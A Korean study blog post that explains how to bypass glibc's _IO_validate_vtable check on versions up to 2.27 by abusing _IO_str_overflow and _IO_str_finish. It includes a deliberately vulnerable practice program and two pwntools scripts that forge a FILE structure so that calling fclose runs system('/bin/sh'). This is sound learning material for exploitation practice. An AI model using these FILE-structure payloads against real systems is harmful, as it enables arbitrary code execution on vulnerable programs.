🗂️ INDEX

글 작성자: Universe7202

 

 

`glib 2.24` 이상 버전 부터 `_IO_validate_vtable()` 로 `vtable`을 검사한다. 이 때문에 `vtable` 값을 공격자가 원하는 함수의 주소로 overwrite 할 수가 없다.

하지만 `glibc 2.27` 버전까지 이를 bypass 할 수 있는 방법이 있는데, `_IO_str_overflow()` 함수와 `_IO_str_finish()` 함수를 이용한 bypass 공격 방법이 있다.

 

아래 설명하는 내용은 `glibc 2.29` 버전에 패치 되었다.

 

 

 

_IO_validate_vtable()

 

이 함수는 `glibc 2.24` 이상 버전에서 생긴 함수로, `vtable` 값를 검사한다.

검사 방법은, `_libc_IO_vtables` 의 섹션 크기를 계산한 후 파일 함수가 호출될때 참조하는 `vtable` 주소가 `__libc_IO_vtables` 영역에 존재하는지 검사한다. `__libc_IO_vtables` 영역에 존재하지 않으면 `_IO_vtable_check()` 함수가 실행 되게 된다. 아래 코드는 `_IO_validate_vtable()` 함수 코드이다.

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  
  // check 
  if (__glibc_unlikely (offset >= section_length))              
    _IO_vtable_check ();
  return vtable;
}

 

 

즉, `_IO_validate_vtable()` 함수를 우회하기 위해서는 `__libc_IO_vtables` 섹션에 존재하는 함수들 중 공격에 유용한 함수를 사용해야 우회 할 수 있다.

 

필자가 공부한 bypass 공격 방법은 총 2가지 인데, `_IO_str_overflow()` 함수와 `_IO_str_finish()` 함수이다.

2가지 공격 방법을 설명하겠다.

 

 

 

_IO_str_overflow(): _IO_validate_vtable() byass

`_IO_file_jumps` 구조체 다음에 `_IO_str_jumps` 구조체가 있는데, 이 구조체 안에는 `_IO_str_overflow()` 함수와 `_IO_str_finish()` 함수가 존재한다. 이는 `__libc_IO_vtables` 영역에 속한다.

 

 

아래 코드는 `_IO_str_overflow()` 함수 코드의 일부분 이다.

아래 코드의 마지막 줄을 보면 `_s._allocate_buffer` 함수 포인터를 통해 `new_size` 인자를 가지고 함수를 호출하는 것을 볼 수 있다.

int _IO_str_overflow (_IO_FILE *fp, int c)
{
  int flush_only = c == EOF;
  _IO_size_t pos;
  if (fp->_flags & _IO_NO_WRITES)
      return flush_only ? 0 : EOF;
  if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
    {
      fp->_flags |= _IO_CURRENTLY_PUTTING;
      fp->_IO_write_ptr = fp->_IO_read_ptr;
      fp->_IO_read_ptr = fp->_IO_read_end;
    }
  pos = fp->_IO_write_ptr - fp->_IO_write_base;
  if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {
      if (fp->_flags & _IO_USER_BUF) /* not allowed to enlarge */
	return EOF;
      else
	{
	  char *new_buf;
	  char *old_buf = fp->_IO_buf_base;
	  size_t old_blen = _IO_blen (fp);
	  _IO_size_t new_size = 2 * old_blen + 100;
	  if (new_size < old_blen)
	    return EOF;
	  new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);

 

 

`_IO_str_overflow()` 함수에서 위 코드의 마지막 줄로 가기 위해서는 많은 조건들이 걸려 있다.

우선 `new_size` 값을 결정하는 코드는 다음과 같다.

`_IO_blen` 는 `_IO_buf_end` 와 `_IO_buf_base` 로 결정되는데, 이는 `_IO_FILE` 구조체의 맴버들이다.

`_IO_buf_base = 0` , `_IO_buf_end = (원하는 값  - 100) / 2` 로 하면 `new_size`를 원하는 값으로 조작이 가능하다.

#define _IO_blen(fp) ((fp)->_IO_buf_end - (fp)->_IO_buf_base)

char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;

if (new_size < old_blen)
   return EOF;

 

 

 

`_s._allocate_buffer` 함수 포인터를 호출 하기 위해서는 아래 조건이 만족해야 한다.

`flush_only` 값은 0이므로, `pos >= _IO_blen(fp)` 이 조건만 통과하면 된다. `pos` 값은 `_IO_write_base = 0`, `_IO_write_ptr = 원하는 값` 으로 하면 조건을 통과 할 수 있다.

int flush_only = c == EOF;
pos = fp->_IO_write_ptr - fp->_IO_write_base;
if (pos >= (_IO_size_t) (_IO_blen (fp) + flush_only))
    {

 

 

아래 코드로 실습을 해보자.

아래 코드를 보면 `fp` 변수에 값을 쓸수 있고, `fclose()` 함수를 호출한다.

// gcc -o vtable_bypass vtable_bypass.c -no-pie 
#include <stdio.h>
#include <unistd.h>
FILE *fp;
int main() {
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	fp = fopen("/dev/urandom","r");
	printf("stdout: %p\n",stdout);
	printf("Data: ");
	read(0, fp, 300);
	fclose(fp);
}

 

 

 

`libc_base` leak 하는 과정은 생략하고, `fp` 변수에 값을 overwrite 해야하는데, 위에서 설명한대로 `_IO_FILE` 구조체에 맞게 값을 overwrite 하면 된다. 정리하면 다음과 같다.

_IO_buf_base = 0
_IO_buf_end = (원하는 값  - 100) / 2
_IO_write_base = 0
_IO_write_ptr = 원하는 값
_s._allocate_buffer = vtable 다음 주소에 JMP 할 함수 주소 입력

 

 

필자는 `_IO_FILE.py` 모듈을 만들어 사용하고 있어 `payload` 는 다음과 같다.

`IO_FILE.py` 모듈은 git에 업로드 해놓았다. https://github.com/Universe1122/_IO_FILE.py

from pwn import *
import _IO_FILE


p = process("./test")
e = ELF("./test")
l = ELF("./libc6_2.27-3ubuntu1.2_amd64.so")

### 대충 libc_base 구하고 가젯 구하는 코드...
###
###

io_file = _IO_FILE._IO_file_plus()
payload = io_file.set_IO_str_overflow({"_lock" : p64(e.symbols["fp"] + 0x10),
                                        "_IO_write_ptr" : p64(binsh),
                                        "_IO_buf_end" : p64(binsh),
                                        "vtable" : p64(_IO_str_overflow_addr - 0x10),
                                        "jump": p64(system)
                                    })
                                    
p.sendafter(":", payload)

p.interactive()

위 코드 `p64(_IO_str_overflow_addr - 0x10)`  에서 `-0x10` 을 한 이유는 필자가 작성한 이전 게시물을 보면 알 수 있듯이, 실습 코드에서 `fclose()` 함수를 호출 해서 `-0x10`을 한 것이다.

 

 

 

 

 

_IO_str_finish(): _IO_validate_vtable() byass

`_IO_str_finish()` 함수도 `__libc_IO_vtable` 영역에 포함되어 있어, `_IO_validate_vtable()` 함수를 우회하기에 조건이 맞다.

 

아래 코드는 `_IO_str_finish()` 함수의 코드이다.

void _IO_str_finish (_IO_FILE *fp, int dummy)
{
  if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))             
    (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);     
  
  fp->_IO_buf_base = NULL;
  _IO_default_finish (fp, 0);
}

코드는 몇 줄 안되는데,  4번째 줄에 함수 포인터를 이용해 함수를 호출하고 있다. 

그 전에 3번째 줄에 조건문이 있는데, if 조건이 맞아야 함수 포인터를 실행 시킬 수 있다.

 

위 조건을 만족 시키기 위해서는 `_IO_FILE` 구조체의 맴버들의 값은 다음과 같아야 한다.

from pwn import *
import _IO_FILE


p = process("./test")
e = ELF("./test")
l = ELF("./libc6_2.27-3ubuntu1.2_amd64.so")

### 대충 libc_base 구하고 가젯 구하는 코드...
###
###


io_file = _IO_FILE._IO_file_plus()
payload = io_file.set_IO_str_finish({"_lock" : p64(e.symbols["fp"] + 0x10),
                                        "_IO_write_end" : p64(binsh),
                                        "_IO_buf_base" : p64(binsh),
                                        "vtable" : p64(_IO_str_finish_addr - 0x10),
                                        "jump" : p64(system)
                                    })
                                    
p.sendafter(":", payload)

p.interactive()

 

 

 

 

`_IO_wstr_jump` 도 있는거 같은데, 이는 추후에 공부 한 뒤 작성 해야 겠다.

 

 

Reference

dreamhack.io/learn/11#53

https://github.com/firmianay/CTF-All-In-One/blob/master/doc/4.13_io_file.md

https://xz.aliyun.com/t/2411